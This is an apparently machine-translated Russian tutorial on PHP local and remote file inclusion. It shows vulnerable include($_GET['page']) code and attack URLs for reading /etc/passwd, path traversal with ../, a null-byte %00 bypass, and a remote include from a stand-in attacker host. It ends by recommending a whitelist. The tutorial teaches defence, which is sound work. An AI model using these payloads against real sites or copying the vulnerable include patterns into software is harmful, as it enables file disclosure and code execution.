Практика
Включение файлов в этом контексте означает, что злоумышленник может получить интерпретатор жертвы для загрузки данного файла. Файл может быть загружен с сервера жертвы или с другого хоста. Чтобы сделать это, жертве нужен какой-то небезопасный код, как показано ниже.
Это позволит злоумышленнику прочитать любой файл, который может прочитать владелец процесса веб-сервера.
<? php include ( $ _GET [ 'page' ] ) ; ?>
HTTP: //localhost/index.php страница = / и т.д. / пароль
Злоумышленник может также внедрить собственный файл, который будет проанализирован интерпретатором PHP http: // localhosts.
<? php include ( $ _GET [ 'page' ] ) ; ?>
HTTP: //localhost/index.php страница = HTTP: //attackersHost/inject.txt
или мы не хотим, чтобы удаленный файл был включен
Добавим проверку, существует ли данный файл в локальной файловой системе:
<? php if ( file_exists ( $ _GET [ 'page' ] ) ) { include ( $ _GET [ 'page' ] ) ; } ?>
Теперь злоумышленник больше не в состоянии внедрить удаленный файл.
Но это означает, что вы все равно можете набрать http: //localhost/index.php? Page = / etc / passwd
Файл существует и вуаля.
или где приходит относительный путь обхода
Подход к прекращению чтения наших файлов заключается в том, чтобы посадить злоумышленника в определенный каталог:
<? php if ( file_exists ( $ myBasedir . '/' . $ _GET [ 'page' ] ) ) { include ( $ myBasedir . '/' . $ _GET [ 'page' ] ) ; } ?>
Предположим, мы находимся по адресу /var/www/index.php
1st ../ изменит путь к / var /
2nd ../ изменит путь к /
Это означает, что вы можете предоставить что-то вроде http: //localhost/index.php? Page = .. / .. / etc / passwd
/ etc / passwd существует и вуаля.
Поскольку злоумышленник не знает, где находится веб-корень в файловой системе сервера, он может получить эту информацию, вызвав ошибки с неверно заданными параметрами.
Или просто угадать до 10 или даже больше уровня.
Читайте полный путь раскрытия для получения дополнительной информации.
или куда входит байт Poison Null
Другой подход к прекращению чтения наших файлов заключается в добавлении .php (или чего-либо еще) в конец данного файла:
<? php if ( file_exists ( $ _GET [ 'page' ] . '.php' ) ) { include ( $ _GET [ 'page' ] . '.php' ) ; } ?>
Это означает, что злоумышленник должен сказать переводчику-жертве остановить строку перед добавлением «.php».
Это можно сделать следующим образом: http: //localhost/index.php? Page = / etc / passwd% 00
file_exists () проверит наличие файла с именем /etc/passwd%00.php и исправит меня, если я ошибаюсь
Файл / etc / passwd существует и вуаля.
Прочитайте Poison Null Byte для получения дополнительной информации.
Это можно сочетать с атакой по каталогу, чтобы сломать
<? php if ( file_exists ( $ myBasedir . '/' . $ _GET [ 'page' ] . '.php' ) ) { include ( $ myBasedir . '/' . $ _GET [ 'page' ] . '.php' ) ; } ?>
запросив http: //localhost/index.php? page = .. / .. / etc / passwd% 00
Мы могли бы начать отфильтровывать специальные символы, такие как "/", "." и "%"
Я не знаю, что произойдет, если взломщик использует Hex, Unicode или другую кодировку.
Или закодированная кодировка. Просто слишком много, чтобы волноваться.
В этой ситуации белый список намного безопаснее, чем любой черный список:
<? php if ( $ _GET [ 'page' ] == 'news' ) { include ( 'news.php' ) ; } ?>
Вы также можете иметь массив разрешенных входных данных (возможно, созданный ранее с помощью SQL-запроса) и спросить, находится ли $ _GET ['page'] в этом массиве. Если true, включите связанный файл. Если False, сделайте несколько небольших проверок строки. Если вы обнаружите вредоносный контент (например, "\.% '/) В $ _GET [' page '], вставьте IP-адрес злоумышленника в черный список на основе IP-адреса. Или если вы контролируете сервер, добавьте его IP-адрес в брандмауэр. Таким образом, у злоумышленников не будет больше (прокси) IP-адресов рано или поздно и «нормальные» ошибки регистрируются без внесения в черный список IP-адресов пользователей.
Не стесняйтесь изменять этот текст
Комментарии
Оставить комментарий
информационная безопасность - Криптография и Криптоанализ. Стеганография. Защита Информации
Термины: информационная безопасность - Криптография и Криптоанализ. Стеганография. Защита Информации